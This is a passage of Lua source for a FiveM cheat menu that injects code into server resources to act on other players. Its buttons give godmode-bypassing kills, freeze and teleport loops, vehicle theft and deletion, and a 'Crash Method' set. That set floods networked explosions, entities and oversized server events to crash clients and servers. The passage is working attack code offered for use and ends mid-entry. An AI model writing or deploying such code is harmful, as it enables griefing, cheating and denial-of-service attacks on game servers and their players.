                                            playerCoords.y + (fwd.y * 0.4),
                                            playerCoords.z - 0.96,
                                            false, false, false, false)
                                        Wait(1)
                                    end
                                    SetEntityCoords(targetPed, originalCoords.x, originalCoords.y, originalCoords.z, false, false, false, false)
                                    SetEntityAlpha(targetPed, 255, false)
                                    FreezeEntityPosition(targetPed, false)
                                end)
                            ]], selectedPlayer))
                            showNotify('Stealth Kill executed', 'success')
                        end
                    },
                    -- ── PERM KILL ─────────────────────────────────────────────────────────────
                    {
                        type = 'button',
                        label = 'Perm Kill',
                        desc = 'Direct native hash invoke — bypasses script-level godmode hooks.',
                        onConfirm = function()
                            local selectedPlayer = GetSelectedPlayer()
                            if not selectedPlayer then
                                showNotify('You must select a player first!', 'error')
                                return
                            end
                            injectCode('monitor', string.format([[
                                CreateThread(function()
                                    local targetPed = GetPlayerPed(GetPlayerFromServerId(%d))
                                    if not targetPed or not DoesEntityExist(targetPed) then return end
                                    local coords = GetEntityCoords(targetPed)
                                    local selfPed = PlayerPedId()
                                    -- 0x867654CBC7606F2C = ShootSingleBulletBetweenCoords by hash
                                    -- weapon hash 849905853 penetrates script-hook godmode
                                    Citizen.InvokeNative(
                                        0x867654CBC7606F2C,
                                        coords + vector3(0.0, 0.1, 0.0),
                                        coords,
                                        250,
                                        true,
                                        849905853,
                                        selfPed,
                                        true,
                                        false,
                                        350.0
                                    )
                                end)
                            ]], selectedPlayer))
                            showNotify('Perm Kill sent', 'success')
                        end
                    },
                    -- ── ATTACH BIG OBJECT ─────────────────────────────────────────────────────
                    {
                        type = 'scroll',
                        label = 'Attach Big Object',
                        desc = 'Attaches a large prop to the target\'s spine — visible to everyone.',
                        selected = 1,
                        options = {
                            { label = 'Pine Tree',    value = 'prop_tree_pine_01' },
                            { label = 'Oak Tree',     value = 'prop_tree_oak_01' },
                            { label = 'Palm Tree',    value = 'prop_palm_fan_03_a' },
                            { label = 'Cactus',       value = 'prop_cactus_01' },
                            { label = 'Windmill',     value = 'prop_windmill_01' },
                            { label = 'Water Tower',  value = 'prop_watertower_01' },
                            { label = 'Container',    value = 'prop_container_05a' },
                            { label = 'Dumpster',     value = 'prop_dumpster_01a' },
                            { label = 'Porta Potty',  value = 'prop_portaloo_01a' },
                            { label = 'UFO',          value = 'p_spinning_anus_s' },
                            { label = 'Dildo',        value = 'prop_cs_dildo_01' },
                            { label = 'Broom',        value = 'prop_broom_unit_01' },
                            { label = 'Plunger',      value = 'prop_cs_plunger' },
                            { label = 'Rocket',       value = 'prop_mp_rocket_01' },
                            { label = 'Surfboard',    value = 'prop_surf_board_01' },
                            { label = 'Shark',        value = 'hei_prop_hei_shark_s' },
                            { label = 'Whale',        value = 'prop_cs_whale' },
                            { label = 'Barrel',       value = 'prop_barrel_02a' },
                            { label = 'Alien Egg',    value = 'prop_alien_egg_01' },
                            { label = 'Ferris Wheel', value = 'prop_ld_ferris_wheel' },
                            { label = 'Street Light', value = 'prop_streetlight_01' },
                            { label = 'Buoy',         value = 'prop_dock_bouy_1' },
                        },
                        onConfirm = function(data)
                            local selectedPlayer = GetSelectedPlayer()
                            if not selectedPlayer then
                                showNotify('You must select a player first!', 'error')
                                return
                            end
                            injectCode('any', string.format([[
                                local targetPed = GetPlayerPed(GetPlayerFromServerId(%d))
                                if not targetPed or not DoesEntityExist(targetPed) then return end
                                local modelHash = GetHashKey('%s')
                                RequestModel(modelHash)
                                local t0 = GetGameTimer()
                                while not HasModelLoaded(modelHash) do
                                    Wait(0)
                                    if GetGameTimer() - t0 > 5000 then return end
                                end
                                local coords = GetEntityCoords(targetPed)
                                local obj = SafeRunNative(CreateObject, modelHash, coords.x, coords.y, coords.z, true, true, false)
                                if obj and DoesEntityExist(obj) then
                                    local boneIdx = SafeRunNative(GetPedBoneIndex, targetPed, 24816)
                                    SafeRunNative(AttachEntityToEntity, obj, targetPed, boneIdx, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, false, false, false, false, 2, true)
                                    SafeRunNative(SetEntityCollision, obj, false, false)
                                    SafeRunNative(SetEntityAsMissionEntity, obj, true, true)
                                    SafeRunNative(SetModelAsNoLongerNeeded, modelHash)
                                end
                            ]], selectedPlayer, data.value))
                            showNotify('Attached ' .. data.label .. ' to player', 'success')
                        end
                    },
                    -- ── GHOST ATTACH ──────────────────────────────────────────────────────────
                    {
                        type = 'checkbox',
                        label = 'Ghost Attach',
                        desc = 'Attaches you invisibly below the target — you follow them silently with no collision.',
                        onConfirm = function(checked)
                            if checked then
                                local selectedPlayer = GetSelectedPlayer()
                                if not selectedPlayer then
                                    showNotify('You must select a player first!', 'error')
                                    return
                                end
                                injectCode('any', string.format([[
                                    _G.junkieGhostAttachActive = true
                                    _G.junkieGhostAttachTarget = %d
                                    if not _G.junkieGhostAttachThread then
                                        _G.junkieGhostAttachThread = true
                                        CreateThread(function()
                                            while _G.junkieGhostAttachActive do
                                                local targetLocalId = GetPlayerFromServerId(_G.junkieGhostAttachTarget)
                                                if targetLocalId ~= -1 then
                                                    local targetPed = GetPlayerPed(targetLocalId)
                                                    local myPed = PlayerPedId()
                                                    if DoesEntityExist(targetPed) and DoesEntityExist(myPed) then
                                                        SafeRunNative(SetEntityVisible, myPed, false, false)
                                                        SafeRunNative(SetEntityCollision, myPed, false, false)
                                                        SafeRunNative(AttachEntityToEntity,
                                                            myPed, targetPed, 0,
                                                            0.0, 0.0, -2.5,
                                                            0.0, 0.0, 0.0,
                                                            false, false, false, false, 2, true)
                                                    end
                                                end
                                                Wait(100)
                                            end
                                            local myPed = PlayerPedId()
                                            DetachEntity(myPed, true, true)
                                            SafeRunNative(SetEntityVisible, myPed, true, false)
                                            SafeRunNative(SetEntityCollision, myPed, true, true)
                                            _G.junkieGhostAttachThread = nil
                                        end)
                                    end
                                ]], selectedPlayer))
                            else
                                injectCode('any', [[
                                    _G.junkieGhostAttachActive = false
                                ]])
                            end
                            showNotify('Ghost Attach ' .. (checked and 'On' or 'Off'), checked and 'success' or 'info')
                        end
                    },
                    {
                        type = 'button',
                        label = 'Drop Car on Player',
                        desc = 'Grabs the nearest vehicle and drops it from above the target.',
                        onConfirm = function()
                            local selectedPlayer = GetSelectedPlayer()
                            if not selectedPlayer then
                                showNotify('You must select a player first!', 'error')
                                return
                            end
                            injectCode('any', string.format([[
                                CreateThread(function()
                                    local targetPed = GetPlayerPed(GetPlayerFromServerId(%d))
                                    if not targetPed or not DoesEntityExist(targetPed) then return end
                                    local targetCoords = GetEntityCoords(targetPed)
                                    local myPed = PlayerPedId()
                                    local myOrigCoords = GetEntityCoords(myPed)
                                    local vehicle = GetClosestVehicle(targetCoords.x, targetCoords.y, targetCoords.z, 500.0, 0, 70)
                                    if not vehicle or vehicle == 0 then
                                        vehicle = GetVehiclePedIsIn(targetPed, false)
                                    end
                                    if not vehicle or vehicle == 0 or not DoesEntityExist(vehicle) then return end
                                    NetworkRequestControlOfEntity(vehicle)
                                    local deadline = GetGameTimer() + 3000
                                    while not NetworkHasControlOfEntity(vehicle) and GetGameTimer() < deadline do
                                        Wait(10)
                                        NetworkRequestControlOfEntity(vehicle)
                                    end
                                    if not NetworkHasControlOfEntity(vehicle) then return end
                                    SetEntityVisible(myPed, false, false)
                                    SetPedIntoVehicle(myPed, vehicle, -1)
                                    Wait(200)
                                    ClearPedTasks(myPed)
                                    Wait(100)
                                    SetEntityCoords(myPed, myOrigCoords.x, myOrigCoords.y, myOrigCoords.z, false, false, false, true)
                                    SetEntityVisible(myPed, true, false)
                                    SetEntityCoords(vehicle, targetCoords.x, targetCoords.y, targetCoords.z + 10.0, false, false, false, true)
                                    SetEntityVelocity(vehicle, 0.0, 0.0, -50.0)
                                end)
                            ]], selectedPlayer))
                            showNotify('Car dropped on player', 'success')
                        end
                    },
                    {
                        type = 'button',
                        label = 'Car Attach',
                        desc = 'Attaches the nearest vehicle to the target\'s spine — they get dragged with it.',
                        onConfirm = function()
                            local selectedPlayer = GetSelectedPlayer()
                            if not selectedPlayer then
                                showNotify('You must select a player first!', 'error')
                                return
                            end
                            injectCode('any', string.format([[
                                CreateThread(function()
                                    local targetPed = GetPlayerPed(GetPlayerFromServerId(%d))
                                    if not targetPed or not DoesEntityExist(targetPed) then return end
                                    local targetCoords = GetEntityCoords(targetPed)
                                    local myPed = PlayerPedId()
                                    local myOrigCoords = GetEntityCoords(myPed)
                                    local vehicle = GetClosestVehicle(targetCoords.x, targetCoords.y, targetCoords.z, 500.0, 0, 70)
                                    if not vehicle or vehicle == 0 then
                                        vehicle = GetVehiclePedIsIn(targetPed, false)
                                    end
                                    if not vehicle or vehicle == 0 or not DoesEntityExist(vehicle) then return end
                                    NetworkRequestControlOfEntity(vehicle)
                                    local deadline = GetGameTimer() + 3000
                                    while not NetworkHasControlOfEntity(vehicle) and GetGameTimer() < deadline do
                                        Wait(10)
                                        NetworkRequestControlOfEntity(vehicle)
                                    end
                                    if not NetworkHasControlOfEntity(vehicle) then return end
                                    SetEntityVisible(myPed, false, false)
                                    SetPedIntoVehicle(myPed, vehicle, -1)
                                    Wait(200)
                                    ClearPedTasks(myPed)
                                    SetEntityCoords(myPed, myOrigCoords.x, myOrigCoords.y, myOrigCoords.z, false, false, false, true)
                                    SetEntityVisible(myPed, true, false)
                                    local boneIdx = SafeRunNative(GetPedBoneIndex, targetPed, 24816)
                                    SafeRunNative(AttachEntityToEntity, vehicle, targetPed, boneIdx, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, false, false, false, false, 2, true)
                                    SafeRunNative(SetEntityCollision, vehicle, false, false)
                                    SafeRunNative(SetEntityAsMissionEntity, vehicle, true, true)
                                end)
                            ]], selectedPlayer))
                            showNotify('Vehicle attached to player', 'success')
                        end
                    },
                    {
                        type = 'button',
                        label = 'Car Bomb',
                        desc = 'Grabs the nearest vehicle, maxes out damage, drops it on them from 20m up.',
                        onConfirm = function()
                            local selectedPlayer = GetSelectedPlayer()
                            if not selectedPlayer then
                                showNotify('You must select a player first!', 'error')
                                return
                            end
                            injectCode('any', string.format([[
                                CreateThread(function()
                                    local targetPed = GetPlayerPed(GetPlayerFromServerId(%d))
                                    if not targetPed or not DoesEntityExist(targetPed) then return end
                                    local targetCoords = GetEntityCoords(targetPed)
                                    local myPed = PlayerPedId()
                                    local myOrigCoords = GetEntityCoords(myPed)
                                    local vehicle = GetClosestVehicle(targetCoords.x, targetCoords.y, targetCoords.z, 500.0, 0, 70)
                                    if not vehicle or vehicle == 0 then
                                        vehicle = GetVehiclePedIsIn(targetPed, false)
                                    end
                                    if not vehicle or vehicle == 0 or not DoesEntityExist(vehicle) then return end
                                    local driver = GetPedInVehicleSeat(vehicle, -1)
                                    if driver and driver ~= 0 and DoesEntityExist(driver) then return end
                                    NetworkRequestControlOfEntity(vehicle)
                                    local deadline = GetGameTimer() + 3000
                                    while not NetworkHasControlOfEntity(vehicle) and GetGameTimer() < deadline do
                                        Wait(10)
                                        NetworkRequestControlOfEntity(vehicle)
                                    end
                                    if not NetworkHasControlOfEntity(vehicle) then return end
                                    SetEntityVisible(myPed, false, false)
                                    SetPedIntoVehicle(myPed, vehicle, -1)
                                    Wait(200)
                                    ClearPedTasks(myPed)
                                    Wait(100)
                                    SetEntityCoords(myPed, myOrigCoords.x, myOrigCoords.y, myOrigCoords.z, false, false, false, true)
                                    SetEntityVisible(myPed, true, false)
                                    SafeRunNative(SetEntityCoords, vehicle, targetCoords.x, targetCoords.y, targetCoords.z + 20.0, false, false, false, true)
                                    SafeRunNative(SetEntityHealth, vehicle, 1)
                                    SafeRunNative(SetVehicleEngineHealth, vehicle, -4000.0)
                                    SafeRunNative(SetVehicleBodyHealth, vehicle, -4000.0)
                                    SafeRunNative(SetVehiclePetrolTankHealth, vehicle, -4000.0)
                                    SafeRunNative(SetEntityVelocity, vehicle, 0.0, 0.0, -300.0)
                                end)
                            ]], selectedPlayer))
                            showNotify('Car bomb deployed', 'success')
                        end
                    },
                    {
                        type = 'checkbox',
                        label = 'Spam TP',
                        desc = 'Teleports the target to random positions every 500ms — completely disorienting.',
                        onConfirm = function(checked)
                            if checked then
                                local selectedPlayer = GetSelectedPlayer()
                                if not selectedPlayer then
                                    showNotify('You must select a player first!', 'error')
                                    return
                                end
                                injectCode('any', string.format([[
                                    _G.junkieSpamTPActive = true
                                    _G.junkieSpamTPTarget = %d
                                    if not _G.junkieSpamTPThread then
                                        _G.junkieSpamTPThread = true
                                        CreateThread(function()
                                            while _G.junkieSpamTPActive do
                                                local targetPed = GetPlayerPed(GetPlayerFromServerId(_G.junkieSpamTPTarget))
                                                if DoesEntityExist(targetPed) then
                                                    local coords = GetEntityCoords(targetPed)
                                                    local rx = (math.random() - 0.5) * 40
                                                    local ry = (math.random() - 0.5) * 40
                                                    SafeRunNative(SetEntityCoordsNoOffset, targetPed, coords.x + rx, coords.y + ry, coords.z, true, true, true)
                                                end
                                                Wait(500)
                                            end
                                            _G.junkieSpamTPThread = nil
                                        end)
                                    end
                                ]], selectedPlayer))
                            else
                                injectCode('any', [[
                                    _G.junkieSpamTPActive = false
                                ]])
                            end
                            showNotify('Spam TP ' .. (checked and 'On' or 'Off'), checked and 'success' or 'info')
                        end
                    },
                    {
                        type = 'checkbox',
                        label = 'Freeze Loop',
                        desc = 'Continuously freezes the target in place — they cannot move.',
                        onConfirm = function(checked)
                            if checked then
                                local selectedPlayer = GetSelectedPlayer()
                                if not selectedPlayer then
                                    showNotify('You must select a player first!', 'error')
                                    return
                                end
                                injectCode('any', string.format([[
                                    _G.junkieFreezeLoopActive = true
                                    _G.junkieFreezeLoopTarget = %d
                                    if not _G.junkieFreezeLoopThread then
                                        _G.junkieFreezeLoopThread = true
                                        CreateThread(function()
                                            while _G.junkieFreezeLoopActive do
                                                local targetPed = GetPlayerPed(GetPlayerFromServerId(_G.junkieFreezeLoopTarget))
                                                if DoesEntityExist(targetPed) then
                                                    SafeRunNative(FreezeEntityPosition, targetPed, true)
                                                end
                                                Wait(0)
                                            end
                                            local targetPed = GetPlayerPed(GetPlayerFromServerId(_G.junkieFreezeLoopTarget))
                                            if DoesEntityExist(targetPed) then
                                                SafeRunNative(FreezeEntityPosition, targetPed, false)
                                            end
                                            _G.junkieFreezeLoopThread = nil
                                        end)
                                    end
                                ]], selectedPlayer))
                            else
                                injectCode('any', [[
                                    _G.junkieFreezeLoopActive = false
                                ]])
                            end
                            showNotify('Freeze Loop ' .. (checked and 'On' or 'Off'), checked and 'success' or 'info')
                        end
                    },
                    {
                        type = 'scroll',
                        label = 'Crash Method',
                        desc = 'Pick a crash vector then hit Confirm to fire it.',
                        selected = 1,
                        options = {
                            { label = 'Nuke Zone',    value = 'explosion' },
                            { label = 'World Ender',  value = 'entity'    },
                            { label = 'Frame Reaper', value = 'particle'  },
                            { label = 'Server Choke', value = 'event'     },
                            { label = 'Full Send',    value = 'all'       },
                        },
                        onConfirm = function(data)
                            local method = data.value
                            injectCode('any', string.format([[
                                _G.junkieCrashActive = true
                                if not _G.junkieCrashThread then
                                    _G.junkieCrashThread = true
                                    CreateThread(function()
                                        local method = '%s'

                                        -- preload networked prop models
                                        local eModels = {'prop_rub_brokenpallet','prop_rub_cardbrdbox_01a','prop_box_wood01a','prop_bin_05a'}
                                        for _, m in ipairs(eModels) do RequestModel(GetHashKey(m)) end

                                        -- preload large vehicle models for Frame Reaper
                                        local vModels = {'cargoplane','titan','dump','hauler','trash','brickade','stockade'}
                                        for _, m in ipairs(vModels) do RequestModel(GetHashKey(m)) end

                                        while _G.junkieCrashActive do
                                            local p  = PlayerPedId()
                                            local cx = GetEntityCoords(p).x
                                            local cy = GetEntityCoords(p).y
                                            local cz = GetEntityCoords(p).z

                                            -- NUKE ZONE: networked explosions — replicates to all nearby clients
                                            if method == 'explosion' or method == 'all' then
                                                for i = 1, 60 do
                                                    AddExplosion(
                                                        cx + math.random(-400, 400),
                                                        cy + math.random(-400, 400),
                                                        cz,
                                                        59, 9999.0, true, false, 0.1
                                                    )
                                                end
                                            end

                                            -- WORLD ENDER: networked prop flood — synced to all clients, exhausts shared entity pool
                                            if method == 'entity' or method == 'all' then
                                                for i = 1, 25 do
                                                    local h = GetHashKey(eModels[math.random(#eModels)])
                                                    if HasModelLoaded(h) then
                                                        CreateObject(h,
                                                            cx + math.random(-50, 50),
                                                            cy + math.random(-50, 50),
                                                            cz + 2,
                                                            true, true, false  -- networked = true, forces sync to all players
                                                        )
                                                    end
                                                end
                                            end

                                            -- FRAME REAPER: networked large vehicle spam — every client must stream these models
                                            if method == 'particle' or method == 'all' then
                                                for i = 1, 8 do
                                                    local h = GetHashKey(vModels[math.random(#vModels)])
                                                    if HasModelLoaded(h) then
                                                        local veh = CreateVehicle(h,
                                                            cx + math.random(-200, 200),
                                                            cy + math.random(-200, 200),
                                                            cz + 30,
                                                            0.0, true, false  -- networked, syncs to all
                                                        )
                                                        if DoesEntityExist(veh) then
                                                            SetVehicleEngineOn(veh, true, true, false)
                                                        end
                                                    end
                                                end
                                            end

                                            -- SERVER CHOKE: flood server event queue with max-size payloads
                                            if method == 'event' or method == 'all' then
                                                local payload = string.rep('x', 60000)
                                                for i = 1, 80 do
                                                    TriggerServerEvent('__cfx_internal:serverCallback', payload)
                                                end
                                                -- secondary: ped storm — server has to simulate AI for each
                                                for i = 1, 10 do
                                                    local pedH = GetHashKey('a_m_y_musclbeac_01')
                                                    if HasModelLoaded(pedH) then
                                                        CreatePed(4, pedH,
                                                            cx + math.random(-100,100),
                                                            cy + math.random(-100,100),
                                                            cz, 0.0, true, false
                                                        )
                                                    else
                                                        RequestModel(pedH)
                                                    end
                                                end
                                            end

                                            Wait(0)
                                        end
                                        _G.junkieCrashThread = nil
                                    end)
                                end
                            ]], method))
                            showNotify('Crasher fired: ' .. data.label, 'error')
                        end
                    },
                    {
                        type = 'button',
                        label = 'Stop Crasher',
                        desc = 'Kills the active crash loop.',
                        onConfirm = function()
                            injectCode('any', [[
                                _G.junkieCrashActive = false
                            ]])
                            showNotify('Crasher stopped', 'info')
                        end
                    },
                    {
                        type = 'button',
                        label = 'Mess up Players Car',
                        onConfirm = function()
                            local selectedPlayer = GetSelectedPlayer()
                            if not selectedPlayer then
                                showNotify('You must select a player first!', 'error')
                                return
                            end

                            injectCode('any', string.format([[
                                local targetID = %d
                                local targetPed = GetPlayerPed(GetPlayerFromServerId(targetID))
                                if SafeRunNative(DoesEntityExist, targetPed) then
                                    local fok = SafeRunNative(ClonePed, targetPed, 1, 1, 1)
                                    SafeRunNative(SetEntityVisible, fok, false, true)
                                    SafeRunNative(AttachEntityToEntityPhysically, fok, targetPed, 0, 0, 0.0, 0.0, 1.0, 0.0, 0.0, 0.0, 0.0, 180.0, 180.0, 999999.0, true, true, true, false, 2)
                                end
                            ]], selectedPlayer))
                        end
                    },
                    {
                        type = 'button',
                        label = 'Kick from Vehicle',
                        onConfirm = function()
                            local selectedPlayer = GetSelectedPlayer()
                            if not selectedPlayer then
                                showNotify('You must select a player first!', 'error')
                                return
                            end

                            injectCode('any', string.format([[
                                SafeRunNative(CreateThread, function()
                                    local targetSid = %d
                                    local ped = GetPlayerPed(GetPlayerFromServerId(targetSid))
                                    local pedvehicle = GetVehiclePedIsIn(ped, false)

                                    if ped and DoesEntityExist(ped) and pedvehicle ~= 0 then
                                        local lastCoords = GetEntityCoords(PlayerPedId())
                                        local reqStart = GetGameTimer()
                                        while (GetGameTimer() - reqStart) < 1000 do
                                            if SafeRunNative(NetworkHasControlOfEntity, pedvehicle) then break end
                                            SafeRunNative(NetworkRequestControlOfEntity, pedvehicle)
                                            Wait(0)
                                        end

                                        if not SafeRunNative(NetworkHasControlOfEntity, pedvehicle) then
                                            SafeRunNative(SetPedIntoVehicle, PlayerPedId(), pedvehicle, 0)
                                            reqStart = GetGameTimer()
                                            while (GetGameTimer() - reqStart) < 2000 do
                                                if SafeRunNative(NetworkHasControlOfEntity, pedvehicle) then break end
                                                SafeRunNative(NetworkRequestControlOfEntity, pedvehicle)
                                                Wait(0)
                                            end
                                        end
                                        Wait(10)

                                        for i = 0, 4 do
                                            SafeRunNative(DeletePed, ped)
                                        end
                                        Wait(40)

                                        SafeRunNative(SetPedIntoVehicle, PlayerPedId(), pedvehicle, -1)
                                        Wait(1)

                                        local emptySeat = -1
                                        local seats = {-1, 0, 1, 2}
                                        for _, s in ipairs(seats) do
                                            if IsVehicleSeatFree(pedvehicle, s) then
                                                emptySeat = s
                                                break
                                            end
                                        end

                                        SafeRunNative(SetPedIntoVehicle, PlayerPedId(), pedvehicle, emptySeat)
                                        Wait(1)
                                        SafeRunNative(SetPedIntoVehicle, PlayerPedId(), pedvehicle, -1)
                                        Wait(450)
                                        SafeRunNative(ClearPedTasksImmediately, PlayerPedId())
                                        Wait(100)

                                        SafeRunNative(TaskLeaveAnyVehicle, PlayerPedId())
                                        Wait(1)
                                        SafeRunNative(ClearPedTasks, PlayerPedId())
                                        SafeRunNative(ClearPedTasksImmediately, PlayerPedId())
                                        Wait(100)

                                        SafeRunNative(SetEntityCoordsNoOffset, PlayerPedId(), lastCoords.x, lastCoords.y, lastCoords.z, false, false, false, false)
                                        SafeRunNative(FreezeEntityPosition, PlayerPedId(), false)
                                        SafeRunNative(ClearPedTasks, PlayerPedId())
                                        SafeRunNative(ClearPedTasksImmediately, PlayerPedId())
                                        SafeRunNative(SetEntityVisible, PlayerPedId(), true, true)
                                        SafeRunNative(SetEntityCollision, PlayerPedId(), true, true)
                                        SafeRunNative(SetEntityInvincible, PlayerPedId(), false)
                                        SafeRunNative(SetPedCanRagdoll, PlayerPedId(), true)
                                        SafeRunNative(SetPedConfigFlag, PlayerPedId(), 32, false)

                                        Wait(50)
                                        local syncCoords = SafeRunNative(GetEntityCoords, PlayerPedId())
                                        SafeRunNative(SetEntityCoordsNoOffset, PlayerPedId(), syncCoords.x + 0.1, syncCoords.y + 0.1, syncCoords.z, false, false, false, false)
                                        Wait(50)
                                        SafeRunNative(SetEntityCoordsNoOffset, PlayerPedId(), syncCoords.x - 0.1, syncCoords.y - 0.1, syncCoords.z, false, false, false, false)
                                        Wait(50)
                                        SafeRunNative(SetEntityCoordsNoOffset, PlayerPedId(), lastCoords.x, lastCoords.y, lastCoords.z, false, false, false, false)
                                        Wait(200)
                                        SafeRunNative(FreezeEntityPosition, PlayerPedId(), false)
                                        SafeRunNative(SetEntityVisible, PlayerPedId(), true, true)
                                        SafeRunNative(ClearPedTasksImmediately, PlayerPedId())
                                        Wait(100)
                                    end
                                end)
                            ]], selectedPlayer))
                        end
                    },
                    {
                        type = 'button',
                        label = 'Steal Vehicle',
                        onConfirm = function()
                            local selectedPlayer = GetSelectedPlayer()
                            if not selectedPlayer then
                                showNotify('You must select a player first!', 'error')
                                return
                            end

                            injectCode('any', string.format([[
                                local targetID = %d
                                local me = PlayerPedId()
                                local targetPed = GetPlayerPed(GetPlayerFromServerId(targetID))
                                if DoesEntityExist(targetPed) and IsPedInAnyVehicle(targetPed, false) then
                                    local vehicle = GetVehiclePedIsUsing(targetPed)
                                    if DoesEntityExist(vehicle) then
                                        local driver = GetPedInVehicleSeat(vehicle, -1)
                                        if driver ~= 0 and DoesEntityExist(driver) then
                                            SafeRunNative(NetworkRequestControlOfEntity, vehicle)
                                            SafeRunNative(ClearPedTasksImmediately, driver)
                                        end
                                        SafeRunNative(TaskEnterVehicle, me, vehicle, 1200, -1, 2.0, 16, 0)
                                    end
                                end
                            ]], selectedPlayer))
                        end
                    },
                    {
                        type = 'button',
                        label = 'Bring Vehicle',
                        onConfirm = function()
                            local selectedPlayer = GetSelectedPlayer()
                            if not selectedPlayer then
                                showNotify('You must select a player first!', 'error')
                                return
                            end

                            injectCode('any', string.format([[
                                local targetID = %d
                                local me = PlayerPedId()
                                local myCoords = GetEntityCoords(me)
                                local targetPed = GetPlayerPed(GetPlayerFromServerId(targetID))
                                if DoesEntityExist(targetPed) and IsPedInAnyVehicle(targetPed, false) then
                                    local vehicle = GetVehiclePedIsUsing(targetPed)
                                    if DoesEntityExist(vehicle) then
                                        local driver = GetPedInVehicleSeat(vehicle, -1)
                                        if driver ~= 0 and DoesEntityExist(driver) then
                                            SafeRunNative(NetworkRequestControlOfEntity, vehicle)
                                            SafeRunNative(ClearPedTasksImmediately, driver)
                                        end
                                        local start = GetGameTimer()
                                        while not SafeRunNative(NetworkHasControlOfEntity, vehicle) and GetGameTimer() - start < 1000 do
                                            SafeRunNative(NetworkRequestControlOfEntity, vehicle)
                                            Wait(0)
                                        end
                                        SafeRunNative(SetEntityCoordsNoOffset, vehicle, myCoords.x, myCoords.y, myCoords.z, false, false, false)
                                    end
                                end
                            ]], selectedPlayer))
                        end
                    },
                    {
                        type = 'button',
                        label = 'Delete Vehicle',
                        onConfirm = function()
                            local selectedPlayer = GetSelectedPlayer()
                            if not selectedPlayer then
                                showNotify('You must select a player first!', 'error')
                                return
                            end

                            injectCode('any', string.format([[
                                local targetID = %d
                                local me = PlayerPedId()
                                local myCoords = GetEntityCoords(me)
                                local targetPed = GetPlayerPed(GetPlayerFromServerId(targetID))
                                if DoesEntityExist(targetPed) and IsPedInAnyVehicle(targetPed, false) then
                                    local vehicle = GetVehiclePedIsUsing(targetPed)
                                    if DoesEntityExist(vehicle) then
                                        local driver = GetPedInVehicleSeat(vehicle, -1)
                                        if driver ~= 0 and DoesEntityExist(driver) then
                                            SafeRunNative(NetworkRequestControlOfEntity, vehicle)
                                            SafeRunNative(ClearPedTasksImmediately, driver)
                                        end
                                        local start = GetGameTimer()
                                        while not SafeRunNative(NetworkHasControlOfEntity, vehicle) and GetGameTimer() - start < 1000 do
                                            SafeRunNative(NetworkRequestControlOfEntity, vehicle)
                                            Wait(0)
                                        end
                                        SafeRunNative(DeleteEntity, vehicle)
                                        SafeRunNative(ClearPedTasksImmediately, me)
                                        SafeRunNative(SetEntityCoordsNoOffset, me, myCoords.x, myCoords.y, myCoords.z, false, false, false)
                                    end
                                end
                            ]], selectedPlayer))
                        end
                    },
                    {
                        type = 'button',
                        label = 'Throw Player Vehicle',
                        desc = 'Grabs the selected player\'s vehicle and throws it with them inside — aim and press Y.',
                        onConfirm = function()
                            local selectedPlayer = GetSelectedPlayer()
                            if not selectedPlayer then
                                showNotify('You must select a player first!', 'error')
                                return
                            end
                            injectCode('monitor', string.format([[
                                local targetPed = GetPlayerPed(GetPlayerFromServerId(%d))
                                if DoesEntityExist(targetPed) then
                                    local vehicle = GetVehiclePedIsIn(targetPed, false)
                                    if vehicle and vehicle > 0 then
                                        EnterVehicleThrowing(vehicle)
                                    else
                                        -- player is on foot — throw them directly
                                        EnterVehicleThrowing(targetPed)
                                    end
                                end
                            ]], selectedPlayer))
                            showNotify('Pick up vehicle and press Y to throw', 'info')
                        end
                    },
                    {
                        type = 'button',
                        label = 'Destroy Player Vehicle',
                        desc = 'Silently trashes the selected player\'s car — kills engine and body health without an explosion.',
                        onConfirm = function()
                            local selectedPlayer = GetSelectedPlayer()
                            if not selectedPlayer then
                                showNotify('You must select a player first!', 'error')
                                return
                            end
                            injectCode('any', string.format([[
                                local targetPed = GetPlayerPed(GetPlayerFromServerId(%d))
                                if DoesEntityExist(targetPed) then
                                    local vehicle = GetVehiclePedIsIn(targetPed, false)
                                    if vehicle and vehicle > 0 then
                                        local start = GetGameTimer()
                                        while not SafeRunNative(NetworkHasControlOfEntity, vehicle) and GetGameTimer() - start < 1000 do
                                            SafeRunNative(NetworkRequestControlOfEntity, vehicle)
                                            Wait(0)
                                        end
                                        SafeRunNative(SetVehicleEngineHealth, vehicle, -4000)
                                        SafeRunNative(SetVehicleBodyHealth, vehicle, -4000)
                                    end
                                end
                            ]], selectedPlayer))
                            showNotify('Vehicle destroyed', 'success')
                        end
                    },
                    -- ==================== WOAH V4 PLAYER ACTIONS ====================
                    {
                        type = 'button',
                        label = 'Ban Player [WS]',
                        desc = 'Launches nearest vehicle under target with massive upward force.',
                        onConfirm = function()
                            local selectedPlayer = GetSelectedPlayer()
                            if not selectedPlayer then showNotify('Select a player first!', 'error') return end
                            injectCode('monitor', string.format([[
                                SafeRunNative(CreateThread, function()
                                    local targetID = %d
                                    local targetPed = SafeRunNative(GetPlayerPed, SafeRunNative(GetPlayerFromServerId, targetID))
                                    if not SafeRunNative(DoesEntityExist, targetPed) then return end
                                    local targetCoords = SafeRunNative(GetEntityCoords, targetPed)
                                    local handle, vehicle = SafeRunNative(FindFirstVehicle)
                                    local found = handle ~= -1
                                    local closest, closestDist = nil, 500.0
                                    while found do
                                        if SafeRunNative(DoesEntityExist, vehicle) then
                                            local d = #(targetCoords - SafeRunNative(GetEntityCoords, vehicle))
                                            if d < closestDist then closestDist = d; closest = vehicle end
                                        end
                                        found, vehicle = SafeRunNative(FindNextVehicle, handle)
                                    end
                                    SafeRunNative(EndFindVehicle, handle)
                                    if not closest then return end
                                    local underCoords = vector3(targetCoords.x, targetCoords.y, targetCoords.z - 1.5)
                                    SafeRunNative(NetworkRequestControlOfEntity, closest)
                                    SafeRunNative(SetEntityCoordsNoOffset, closest, underCoords.x, underCoords.y, underCoords.z, true, true, false)
                                    SafeRunNative(FreezeEntityPosition, closest, false)
                                    SafeRunNative(SetEntityVelocity, closest, 0.0, 0.0, 0.0)
                                    SafeRunNative(Wait, 50)
                                    SafeRunNative(ApplyForceToEntity, closest, 1, 0.0, 0.0, 250.0, 0.0, 0.0, 0.0, 0, false, true, true, false, true)
                                    SafeRunNative(ApplyForceToEntityCenterOfMass, targetPed, 1, 0.0, 0.0, 150.0, false, true, true, false)
                                end)
                            ]], selectedPlayer))
                            showNotify('Ban launched on ' .. tostring(selectedPlayer), 'success')
                        end
                    },
                    {
                        type = 'button',
                        label = 'Toilet Player',
                        desc = 'Attaches a toilet to the selected player\'s head.',
                        onConfirm = function()
